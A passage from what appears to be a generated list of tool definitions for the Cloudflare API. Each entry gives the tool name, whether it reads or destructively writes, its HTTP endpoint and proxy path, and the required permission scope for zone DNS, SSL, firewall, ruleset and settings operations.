/zones/{zone_id}/secondary_dns/outgoing DELETE /api/v1/cloudflare/zones/{zone_id}/secondary_dns/outgoing. Scopes: dns:write. cloudflare_delete_zones_by_zone_id_security_center_securitytxt (write, destructive) — Deletes security.txt via DELETE /zones/{zone_id}/security-center/securitytxt DELETE /api/v1/cloudflare/zones/{zone_id}/security-center/securitytxt. Scopes: zone_settings:write. cloudflare_delete_zones_by_zone_id_spectrum_apps_by_app_id (write, destructive) — Delete Spectrum application via DELETE /zones/{zone_id}/spectrum/apps/{app_id} DELETE /api/v1/cloudflare/zones/{zone_id}/spectrum/apps/{app_id}. Scopes: zone_settings:write. cloudflare_delete_zones_by_zone_id_speed_api_pages_by_url_tests (write, destructive) — Delete all page tests via DELETE /zones/{zone_id}/speed_api/pages/{url}/tests DELETE /api/v1/cloudflare/zones/{zone_id}/speed_api/pages/{url}/tests. Scopes: zone_settings:write. cloudflare_delete_zones_by_zone_id_speed_api_schedule_by_url (write, destructive) — Delete scheduled page test via DELETE /zones/{zone_id}/speed_api/schedule/{url} DELETE /api/v1/cloudflare/zones/{zone_id}/speed_api/schedule/{url}. Scopes: zone_settings:write. cloudflare_delete_zones_by_zone_id_ssl_certificate_packs_by_certificate_pack_id (write, destructive) — Delete Advanced Certificate Manager Certificate Pack via DELETE /zones/{zone_id}/ssl/certificate_packs/{certificate_pack_id} DELETE /api/v1/cloudflare/zones/{zone_id}/ssl/certificate_packs/{certificate_pack_id}. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_url_normalization (write, destructive) — Delete URL Normalization settings via DELETE /zones/{zone_id}/url_normalization DELETE /api/v1/cloudflare/zones/{zone_id}/url_normalization. Scopes: account_rulesets:write. cloudflare_get_accounts_by_account_id_addressing_regional_hostnames_regions (read) — List Regions via GET /accounts/{account_id}/addressing/regional_hostnames/regions GET /api/v1/cloudflare/accounts/{account_id}/addressing/regional_hostnames/regions. Scopes: dns:read. cloudflare_get_accounts_by_account_id_rulesets (read) — List account rulesets via GET /accounts/{account_id}/rulesets GET /api/v1/cloudflare/accounts/{account_id}/rulesets. Scopes: account_rulesets:read. cloudflare_get_accounts_by_account_id_rulesets_by_ruleset_id (read) — Get an account ruleset via GET /accounts/{account_id}/rulesets/{ruleset_id} GET /api/v1/cloudflare/accounts/{account_id}/rulesets/{ruleset_id}. Scopes: account_rulesets:read. cloudflare_get_accounts_by_account_id_rulesets_by_ruleset_id_versions (read) — List an account ruleset's versions via GET /accounts/{account_id}/rulesets/{ruleset_id}/versions GET /api/v1/cloudflare/accounts/{account_id}/rulesets/{ruleset_id}/versions. Scopes: account_rulesets:read. cloudflare_get_accounts_by_account_id_rulesets_by_ruleset_id_versions_by_ruleset_version (read) — Get an account ruleset version via GET /accounts/{account_id}/rulesets/{ruleset_id}/versions/{ruleset_version} GET /api/v1/cloudflare/accounts/{account_id}/rulesets/{ruleset_id}/versions/{ruleset_version}. Scopes: account_rulesets:read. cloudflare_get_accounts_by_account_id_rulesets_by_ruleset_id_versions_by_ruleset_version_by_tag_by_rule_tag (read) — List an account ruleset version's rules by tag via GET /accounts/{account_id}/rulesets/{ruleset_id}/versions/{ruleset_version}/by_tag/{rule_tag} GET /api/v1/cloudflare/accounts/{account_id}/rulesets/{ruleset_id}/versions/{ruleset_version}/by_tag/{rule_tag}. Scopes: account_rulesets:read. cloudflare_get_accounts_by_account_id_rulesets_phases_by_ruleset_phase_entrypoint (read) — Get an account entry point ruleset via GET /accounts/{account_id}/rulesets/phases/{ruleset_phase}/entrypoint GET /api/v1/cloudflare/accounts/{account_id}/rulesets/phases/{ruleset_phase}/entrypoint. Scopes: account_rulesets:read. cloudflare_get_accounts_by_account_id_rulesets_phases_by_ruleset_phase_entrypoint_versions (read) — List an account entry point ruleset's versions via GET /accounts/{account_id}/rulesets/phases/{ruleset_phase}/entrypoint/versions GET /api/v1/cloudflare/accounts/{account_id}/rulesets/phases/{ruleset_phase}/entrypoint/versions. Scopes: account_rulesets:read. cloudflare_get_accounts_by_account_id_rulesets_phases_by_ruleset_phase_entrypoint_versions_by_ruleset_version (read) — Get an account entry point ruleset version via GET /accounts/{account_id}/rulesets/phases/{ruleset_phase}/entrypoint/versions/{ruleset_version} GET /api/v1/cloudflare/accounts/{account_id}/rulesets/phases/{ruleset_phase}/entrypoint/versions/{ruleset_version}. Scopes: account_rulesets:read. cloudflare_get_accounts_by_account_id_settings_transformations (read) — List Image Resizing configurations for account via GET /accounts/{account_id}/settings/transformations GET /api/v1/cloudflare/accounts/{account_id}/settings/transformations. Scopes: zone_settings:read. cloudflare_get_accounts_by_account_id_settings_ut_billing (read) — Get Unique Transformations billing setting via GET /accounts/{account_id}/settings/ut-billing GET /api/v1/cloudflare/accounts/{account_id}/settings/ut-billing. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_acm_custom_trust_store (read) — List Custom Origin Trust Store Details via GET /zones/{zone_id}/acm/custom_trust_store GET /api/v1/cloudflare/zones/{zone_id}/acm/custom_trust_store. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_acm_custom_trust_store_by_custom_origin_trust_store_id (read) — Custom Origin Trust Store Details via GET /zones/{zone_id}/acm/custom_trust_store/{custom_origin_trust_store_id} GET /api/v1/cloudflare/zones/{zone_id}/acm/custom_trust_store/{custom_origin_trust_store_id}. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_acm_total_tls (read) — Total TLS Settings Details via GET /zones/{zone_id}/acm/total_tls GET /api/v1/cloudflare/zones/{zone_id}/acm/total_tls. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_addressing_regional_hostnames (read) — List Regional Hostnames via GET /zones/{zone_id}/addressing/regional_hostnames GET /api/v1/cloudflare/zones/{zone_id}/addressing/regional_hostnames. Scopes: dns:read. cloudflare_get_zones_by_zone_id_addressing_regional_hostnames_by_hostname (read) — Fetch Regional Hostname via GET /zones/{zone_id}/addressing/regional_hostnames/{hostname} GET /api/v1/cloudflare/zones/{zone_id}/addressing/regional_hostnames/{hostname}. Scopes: dns:read. cloudflare_get_zones_by_zone_id_ai_audit_robots (read) — Get robots.txt rules via GET /zones/{zone_id}/ai-audit/robots GET /api/v1/cloudflare/zones/{zone_id}/ai-audit/robots. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_argo_smart_routing (read) — Get Argo Smart Routing setting via GET /zones/{zone_id}/argo/smart_routing GET /api/v1/cloudflare/zones/{zone_id}/argo/smart_routing. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_cache_cache_reserve (read) — Get Cache Reserve setting via GET /zones/{zone_id}/cache/cache_reserve GET /api/v1/cloudflare/zones/{zone_id}/cache/cache_reserve. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_cache_cache_reserve_clear (read) — Get Cache Reserve Clear (zone / cache / cache reserve clear) via GET /zones/{zone_id}/cache/cache_reserve_clear GET /api/v1/cloudflare/zones/{zone_id}/cache/cache_reserve_clear. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_cache_origin_post_quantum_encryption (read) — Get Origin Post-Quantum Encryption setting (deprecated) via GET /zones/{zone_id}/cache/origin_post_quantum_encryption GET /api/v1/cloudflare/zones/{zone_id}/cache/origin_post_quantum_encryption. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_cache_regional_tiered_cache (read) — Get Regional Tiered Cache setting via GET /zones/{zone_id}/cache/regional_tiered_cache GET /api/v1/cloudflare/zones/{zone_id}/cache/regional_tiered_cache. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_cache_tiered_cache_smart_topology_enable (read) — Get Smart Tiered Cache setting via GET /zones/{zone_id}/cache/tiered_cache_smart_topology_enable GET /api/v1/cloudflare/zones/{zone_id}/cache/tiered_cache_smart_topology_enable. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_cache_variants (read) — Get variants setting via GET /zones/{zone_id}/cache/variants GET /api/v1/cloudflare/zones/{zone_id}/cache/variants. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_certificate_authorities_hostname_associations (read) — List Hostname Associations (zone / certificate authorities / hostname associations) via GET /zones/{zone_id}/certificate_authorities/hostname_associations GET /api/v1/cloudflare/zones/{zone_id}/certificate_authorities/hostname_associations. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_client_certificates (read) — List Client Certificates via GET /zones/{zone_id}/client_certificates GET /api/v1/cloudflare/zones/{zone_id}/client_certificates. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_client_certificates_by_client_certificate_id (read) — Client Certificate Details via GET /zones/{zone_id}/client_certificates/{client_certificate_id} GET /api/v1/cloudflare/zones/{zone_id}/client_certificates/{client_certificate_id}. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_ct_alerting (read) — Get CT Alerting Subscription via GET /zones/{zone_id}/ct/alerting GET /api/v1/cloudflare/zones/{zone_id}/ct/alerting. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_custom_csrs (read) — List Custom CSRs via GET /zones/{zone_id}/custom_csrs GET /api/v1/cloudflare/zones/{zone_id}/custom_csrs. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_custom_csrs_by_custom_csr_id (read) — Custom CSR Details via GET /zones/{zone_id}/custom_csrs/{custom_csr_id} GET /api/v1/cloudflare/zones/{zone_id}/custom_csrs/{custom_csr_id}. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_custom_hostnames (read) — List Custom Hostnames via GET /zones/{zone_id}/custom_hostnames GET /api/v1/cloudflare/zones/{zone_id}/custom_hostnames. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_custom_hostnames_by_custom_hostname_id (read) — Custom Hostname Details via GET /zones/{zone_id}/custom_hostnames/{custom_hostname_id} GET /api/v1/cloudflare/zones/{zone_id}/custom_hostnames/{custom_hostname_id}. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_custom_hostnames_fallback_origin (read) — Get Fallback Origin for Custom Hostnames via GET /zones/{zone_id}/custom_hostnames/fallback_origin GET /api/v1/cloudflare/zones/{zone_id}/custom_hostnames/fallback_origin. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_custom_hostnames_quota (read) — Get Custom Hostname Quota via GET /zones/{zone_id}/custom_hostnames/quota GET /api/v1/cloudflare/zones/{zone_id}/custom_hostnames/quota. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_dcv_delegation_uuid (read) — Retrieve the DCV Delegation unique identifier. via GET /zones/{zone_id}/dcv_delegation/uuid GET /api/v1/cloudflare/zones/{zone_id}/dcv_delegation/uuid. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_devices_policy_certificates (read) — Get device certificate provisioning status via GET /zones/{zone_id}/devices/policy/certificates GET /api/v1/cloudflare/zones/{zone_id}/devices/policy/certificates. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_dns_records (read) — List DNS Records via GET /zones/{zone_id}/dns_records GET /api/v1/cloudflare/zones/{zone_id}/dns_records. Scopes: dns:read. cloudflare_get_zones_by_zone_id_dns_records_by_dns_record_id (read) — DNS Record Details via GET /zones/{zone_id}/dns_records/{dns_record_id} GET /api/v1/cloudflare/zones/{zone_id}/dns_records/{dns_record_id}. Scopes: dns:read. cloudflare_get_zones_by_zone_id_dns_records_export (read) — Export DNS Records via GET /zones/{zone_id}/dns_records/export GET /api/v1/cloudflare/zones/{zone_id}/dns_records/export. Scopes: dns:read. cloudflare_get_zones_by_zone_id_dns_records_scan_review (read) — List Scanned DNS Records via GET /zones/{zone_id}/dns_records/scan/review GET /api/v1/cloudflare/zones/{zone_id}/dns_records/scan/review. Scopes: dns:read. cloudflare_get_zones_by_zone_id_dns_records_usage (read) — Get DNS Record Usage via GET /zones/{zone_id}/dns_records/usage GET /api/v1/cloudflare/zones/{zone_id}/dns_records/usage. Scopes: dns:read. cloudflare_get_zones_by_zone_id_dns_settings (read) — Show DNS Settings via GET /zones/{zone_id}/dns_settings GET /api/v1/cloudflare/zones/{zone_id}/dns_settings. Scopes: dns:read. cloudflare_get_zones_by_zone_id_dnssec (read) — DNSSEC Details via GET /zones/{zone_id}/dnssec GET /api/v1/cloudflare/zones/{zone_id}/dnssec. Scopes: dns:read. cloudflare_get_zones_by_zone_id_dnssec_zsk (read) — List DNSSEC ZSKs via GET /zones/{zone_id}/dnssec/zsk GET /api/v1/cloudflare/zones/{zone_id}/dnssec/zsk. Scopes: dns:read. cloudflare_get_zones_by_zone_id_email_routing (read) — Get Email Routing settings via GET /zones/{zone_id}/email/routing GET /api/v1/cloudflare/zones/{zone_id}/email/routing. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_email_routing_dns (read) — Email Routing - DNS settings via GET /zones/{zone_id}/email/routing/dns GET /api/v1/cloudflare/zones/{zone_id}/email/routing/dns. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_email_routing_suppression (read) — List zone email suppressions (deprecated) via GET /zones/{zone_id}/email/routing/suppression GET /api/v1/cloudflare/zones/{zone_id}/email/routing/suppression. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_email_routing_suppression_by_suppression_id (read) — Get zone email suppression (deprecated) via GET /zones/{zone_id}/email/routing/suppression/{suppression_id} GET /api/v1/cloudflare/zones/{zone_id}/email/routing/suppression/{suppression_id}. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_entitlements (read) — Get Zone Entitlements via GET /zones/{zone_id}/entitlements GET /api/v1/cloudflare/zones/{zone_id}/entitlements. Scopes: zone:read. cloudflare_get_zones_by_zone_id_filters (read) — List filters (deprecated) via GET /zones/{zone_id}/filters GET /api/v1/cloudflare/zones/{zone_id}/filters. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_filters_by_filter_id (read) — Get a filter (deprecated) via GET /zones/{zone_id}/filters/{filter_id} GET /api/v1/cloudflare/zones/{zone_id}/filters/{filter_id}. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_access_rules_rules (read) — List IP Access rules via GET /zones/{zone_id}/firewall/access_rules/rules GET /api/v1/cloudflare/zones/{zone_id}/firewall/access_rules/rules. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_lockdowns (read) — List Zone Lockdown rules via GET /zones/{zone_id}/firewall/lockdowns GET /api/v1/cloudflare/zones/{zone_id}/firewall/lockdowns. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_lockdowns_by_lock_downs_id (read) — Get a Zone Lockdown rule via GET /zones/{zone_id}/firewall/lockdowns/{lock_downs_id} GET /api/v1/cloudflare/zones/{zone_id}/firewall/lockdowns/{lock_downs_id}. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_rules (read) — List firewall rules (deprecated) via GET /zones/{zone_id}/firewall/rules GET /api/v1/cloudflare/zones/{zone_id}/firewall/rules. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_rules_by_rule_id (read) — Get a firewall rule (deprecated) via GET /zones/{zone_id}/firewall/rules/{rule_id} GET /api/v1/cloudflare/zones/{zone_id}/firewall/rules/{rule_id}. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_ua_rules (read) — List User Agent Blocking rules via GET /zones/{zone_id}/firewall/ua_rules GET /api/v1/cloudflare/zones/{zone_id}/firewall/ua_rules. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_ua_rules_by_ua_rule_id (read) — Get a User Agent Blocking rule via GET /zones/{zone_id}/firewall/ua_rules/{ua_rule_id} GET /api/v1/cloudflare/zones/{zone_id}/firewall/ua_rules/{ua_rule_id}. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_waf_overrides (read) — List WAF overrides (deprecated) via GET /zones/{zone_id}/firewall/waf/overrides GET /api/v1/cloudflare/zones/{zone_id}/firewall/waf/overrides. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_firewall_waf_overrides_by_overrides_id (read) — Get a WAF override (deprecated) via GET /zones/{zone_id}/firewall/waf/overrides/{overrides_id} GET /api/v1/cloudflare/zones/{zone_id}/firewall/waf/overrides/{overrides_id}. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_firewall_waf_packages (read) — List WAF packages (deprecated) via GET /zones/{zone_id}/firewall/waf/packages GET /api/v1/cloudflare/zones/{zone_id}/firewall/waf/packages. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_waf_packages_by_package_id (read) — Get a WAF package (deprecated) via GET /zones/{zone_id}/firewall/waf/packages/{package_id} GET /api/v1/cloudflare/zones/{zone_id}/firewall/waf/packages/{package_id}. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_waf_packages_by_package_id_groups (read) — List WAF rule groups (deprecated) via GET /zones/{zone_id}/firewall/waf/packages/{package_id}/groups GET /api/v1/cloudflare/zones/{zone_id}/firewall/waf/packages/{package_id}/groups. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_waf_packages_by_package_id_groups_by_group_id (read) — Get a WAF rule group (deprecated) via GET /zones/{zone_id}/firewall/waf/packages/{package_id}/groups/{group_id} GET /api/v1/cloudflare/zones/{zone_id}/firewall/waf/packages/{package_id}/groups/{group_id}. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_waf_packages_by_package_id_rules (read) — List WAF rules (deprecated) via GET /zones/{zone_id}/firewall/waf/packages/{package_id}/rules GET /api/v1/cloudflare/zones/{zone_id}/firewall/waf/packages/{package_id}/rules. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_firewall_waf_packages_by_package_id_rules_by_rule_id (read) — Get a WAF rule (deprecated) via GET /zones/{zone_id}/firewall/waf/packages/{package_id}/rules/{rule_id} GET /api/v1/cloudflare/zones/{zone_id}/firewall/waf/packages/{package_id}/rules/{rule_id}. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_hostnames_settings_by_setting_id (read) — List TLS setting for hostnames via GET /zones/{zone_id}/hostnames/settings/{setting_id} GET /api/v1/cloudflare/zones/{zone_id}/hostnames/settings/{setting_id}. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_keyless_certificates (read) — List Keyless SSL Configurations via GET /zones/{zone_id}/keyless_certificates GET /api/v1/cloudflare/zones/{zone_id}/keyless_certificates. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_managed_headers (read) — List Managed Transforms via GET /zones/{zone_id}/managed_headers GET /api/v1/cloudflare/zones/{zone_id}/managed_headers. Scopes: account_rulesets:read. cloudflare_get_zones_by_zone_id_origin_tls_client_auth (read) — List Certificates (zone / origin tls client auth) via GET /zones/{zone_id}/origin_tls_client_auth GET /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_origin_tls_client_auth_by_certificate_id (read) — Get Certificate Details via GET /zones/{zone_id}/origin_tls_client_auth/{certificate_id} GET /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/{certificate_id}. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_origin_tls_client_auth_hostnames (read) — List Hostname Associations (zone / origin tls client auth / hostnames) via GET /zones/{zone_id}/origin_tls_client_auth/hostnames GET /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/hostnames. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_origin_tls_client_auth_hostnames_by_hostname (read) — Get the Hostname Status for Client Authentication via GET /zones/{zone_id}/origin_tls_client_auth/hostnames/{hostname} GET /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/hostnames/{hostname}. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_origin_tls_client_auth_hostnames_certificates (read) — List Certificates (zone / origin tls client auth / hostnames / certificates) via GET /zones/{zone_id}/origin_tls_client_auth/hostnames/certificates GET /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/hostnames/certificates. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_origin_tls_client_auth_hostnames_certificates_by_certificate_id (read) — Get the Hostname Client Certificate via GET /zones/{zone_id}/origin_tls_client_auth/hostnames/certificates/{certificate_id} GET /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/hostnames/certificates/{certificate_id}. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_origin_tls_client_auth_settings (read) — Get Enablement Setting for Zone via GET /zones/{zone_id}/origin_tls_client_auth/settings GET /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/settings. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_pagerules (read) — List Page Rules via GET /zones/{zone_id}/pagerules GET /api/v1/cloudflare/zones/{zone_id}/pagerules. Scopes: page_rules:read. cloudflare_get_zones_by_zone_id_pagerules_settings (read) — List available Page Rules settings (deprecated) via GET /zones/{zone_id}/pagerules/settings GET /api/v1/cloudflare/zones/{zone_id}/pagerules/settings. Scopes: page_rules:read. cloudflare_get_zones_by_zone_id_pay_per_crawl_can_be_enabled (read) — Get pay-per-crawl zone eligibility via GET /zones/{zone_id}/pay-per-crawl/can_be_enabled GET /api/v1/cloudflare/zones/{zone_id}/pay-per-crawl/can_be_enabled. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_pay_per_crawl_configuration (read) — Get the pay-per-crawl config via GET /zones/{zone_id}/pay-per-crawl/configuration GET /api/v1/cloudflare/zones/{zone_id}/pay-per-crawl/configuration. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_rate_limits (read) — List rate limits (deprecated) via GET /zones/{zone_id}/rate_limits GET /api/v1/cloudflare/zones/{zone_id}/rate_limits. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_rate_limits_by_rate_limit_id (read) — Get a rate limit (deprecated) via GET /zones/{zone_id}/rate_limits/{rate_limit_id} GET /api/v1/cloudflare/zones/{zone_id}/rate_limits/{rate_limit_id}. Scopes: firewall_services:read. cloudflare_get_zones_by_zone_id_rulesets (read) — List zone rulesets via GET /zones/{zone_id}/rulesets GET /api/v1/cloudflare/zones/{zone_id}/rulesets. Scopes: account_rulesets:read. cloudflare_get_zones_by_zone_id_rulesets_by_ruleset_id (read) — Get a zone ruleset via GET /zones/{zone_id}/rulesets/{ruleset_id} GET /api/v1/cloudflare/zones/{zone_id}/rulesets/{ruleset_id}. Scopes: account_rulesets:read. cloudflare_get_zones_by_zone_id_rulesets_by_ruleset_id_versions (read) — List a zone ruleset's versions via GET /zones/{zone_id}/rulesets/{ruleset_id}/versions GET /api/v1/cloudflare/zones/{zone_id}/rulesets/{ruleset_id}/versions. Scopes: account_rulesets:read. cloudflare_get_zones_by_zone_id_rulesets_by_ruleset_id_versions_by_ruleset_version (read) — Get a zone ruleset version via GET /zones/{zone_id}/rulesets/{ruleset_id}/versions/{ruleset_version} GET /api/v1/cloudflare/zones/{zone_id}/rulesets/{ruleset_id}/versions/{ruleset_version}. Scopes: account_rulesets:read. cloudflare_get_zones_by_zone_id_rulesets_by_ruleset_id_versions_by_ruleset_version_by_tag_by_rule_tag (read) — List a zone ruleset version's rules by tag via GET /zones/{zone_id}/rulesets/{ruleset_id}/versions/{ruleset_version}/by_tag/{rule_tag} GET /api/v1/cloudflare/zones/{zone_id}/rulesets/{ruleset_id}/versions/{ruleset_version}/by_tag/{rule_tag}. Scopes: account_rulesets:read. cloudflare_get_zones_by_zone_id_rulesets_phases_by_ruleset_phase_entrypoint (read) — Get a zone entry point ruleset via GET /zones/{zone_id}/rulesets/phases/{ruleset_phase}/entrypoint GET /api/v1/cloudflare/zones/{zone_id}/rulesets/phases/{ruleset_phase}/entrypoint. Scopes: account_rulesets:read. cloudflare_get_zones_by_zone_id_rulesets_phases_by_ruleset_phase_entrypoint_versions (read) — List a zone entry point ruleset's versions via GET /zones/{zone_id}/rulesets/phases/{ruleset_phase}/entrypoint/versions GET /api/v1/cloudflare/zones/{zone_id}/rulesets/phases/{ruleset_phase}/entrypoint/versions. Scopes: account_rulesets:read. cloudflare_get_zones_by_zone_id_rulesets_phases_by_ruleset_phase_entrypoint_versions_by_ruleset_version (read) — Get a zone entry point ruleset version via GET /zones/{zone_id}/rulesets/phases/{ruleset_phase}/entrypoint/versions/{ruleset_version} GET /api/v1/cloudflare/zones/{zone_id}/rulesets/phases/{ruleset_phase}/entrypoint/versions/{ruleset_version}. Scopes: account_rulesets:read. cloudflare_get_zones_by_zone_id_secondary_dns_incoming (read) — Secondary Zone Configuration Details via GET /zones/{zone_id}/secondary_dns/incoming GET /api/v1/cloudflare/zones/{zone_id}/secondary_dns/incoming. Scopes: dns:read. cloudflare_get_zones_by_zone_id_secondary_dns_outgoing (read) — Primary Zone Configuration Details via GET /zones/{zone_id}/secondary_dns/outgoing GET /api/v1/cloudflare/zones/{zone_id}/secondary_dns/outgoing. Scopes: dns:read. cloudflare_get_zones_by_zone_id_secondary_dns_outgoing_status (read) — Get Outgoing Zone Transfer Status via GET /zones/{zone_id}/secondary_dns/outgoing/status GET /api/v1/cloudflare/zones/{zone_id}/secondary_dns/outgoing/status. Scopes: dns:read. cloudflare_get_zones_by_zone_id_security_center_insights (read) — Retrieves Zone Security Center Insights via GET /zones/{zone_id}/security-center/insights GET /api/v1/cloudflare/zones/{zone_id}/security-center/insights. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_security_center_insights_audit_log (read) — Retrieves Zone Audit Log via GET /zones/{zone_id}/security-center/insights/audit-log GET /api/v1/cloudflare/zones/{zone_id}/security-center/insights/audit-log. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_security_center_insights_by_issue_id_audit_log (read) — Retrieves Zone Issue Audit Log via GET /zones/{zone_id}/security-center/insights/{issue_id}/audit-log GET /api/v1/cloudflare/zones/{zone_id}/security-center/insights/{issue_id}/audit-log. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_security_center_insights_class (read) — Retrieves Zone Security Center Insight Counts by Class via GET /zones/{zone_id}/security-center/insights/class GET /api/v1/cloudflare/zones/{zone_id}/security-center/insights/class. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_security_center_insights_scans (read) — Get Recent Zone Scans via GET /zones/{zone_id}/security-center/insights/scans GET /api/v1/cloudflare/zones/{zone_id}/security-center/insights/scans. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_security_center_insights_severity (read) — Retrieves Zone Security Center Insight Counts by Severity via GET /zones/{zone_id}/security-center/insights/severity GET /api/v1/cloudflare/zones/{zone_id}/security-center/insights/severity. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_security_center_insights_type (read) — Retrieves Zone Security Center Insight Counts by Type via GET /zones/{zone_id}/security-center/insights/type GET /api/v1/cloudflare/zones/{zone_id}/security-center/insights/type. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_security_center_securitytxt (read) — Retrieves security.txt via GET /zones/{zone_id}/security-center/securitytxt GET /api/v1/cloudflare/zones/{zone_id}/security-center/securitytxt. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings (read) — Get all zone settings (deprecated) via GET /zones/{zone_id}/settings GET /api/v1/cloudflare/zones/{zone_id}/settings. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_aegis (read) — Get aegis setting via GET /zones/{zone_id}/settings/aegis GET /api/v1/cloudflare/zones/{zone_id}/settings/aegis. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_automatic_platform_optimization (read) — Get Automatic Platform Optimization setting via GET /zones/{zone_id}/settings/automatic_platform_optimization GET /api/v1/cloudflare/zones/{zone_id}/settings/automatic_platform_optimization. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_binary_ast (read) — Get Binary AST setting via GET /zones/{zone_id}/settings/binary_ast GET /api/v1/cloudflare/zones/{zone_id}/settings/binary_ast. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_by_setting_id (read) — Get zone setting via GET /zones/{zone_id}/settings/{setting_id} GET /api/v1/cloudflare/zones/{zone_id}/settings/{setting_id}. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_csam_scanner_third_party (read) — Get CSAM Scanner setting via GET /zones/{zone_id}/settings/csam_scanner_third_party GET /api/v1/cloudflare/zones/{zone_id}/settings/csam_scanner_third_party. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_fonts (read) — Get Cloudflare Fonts setting via GET /zones/{zone_id}/settings/fonts GET /api/v1/cloudflare/zones/{zone_id}/settings/fonts. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_h2_prioritization (read) — Get HTTP/2 Prioritization setting via GET /zones/{zone_id}/settings/h2_prioritization GET /api/v1/cloudflare/zones/{zone_id}/settings/h2_prioritization. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_image_resizing (read) — Get Image Transformations setting via GET /zones/{zone_id}/settings/image_resizing GET /api/v1/cloudflare/zones/{zone_id}/settings/image_resizing. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_nel (read) — Get NEL setting via GET /zones/{zone_id}/settings/nel GET /api/v1/cloudflare/zones/{zone_id}/settings/nel. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_origin_h2_max_streams (read) — Get Origin H2 Max Streams Setting via GET /zones/{zone_id}/settings/origin_h2_max_streams GET /api/v1/cloudflare/zones/{zone_id}/settings/origin_h2_max_streams. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_origin_max_http_version (read) — Get Origin Max HTTP Version Setting via GET /zones/{zone_id}/settings/origin_max_http_version GET /api/v1/cloudflare/zones/{zone_id}/settings/origin_max_http_version. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_rum (read) — Get RUM status for a zone via GET /zones/{zone_id}/settings/rum GET 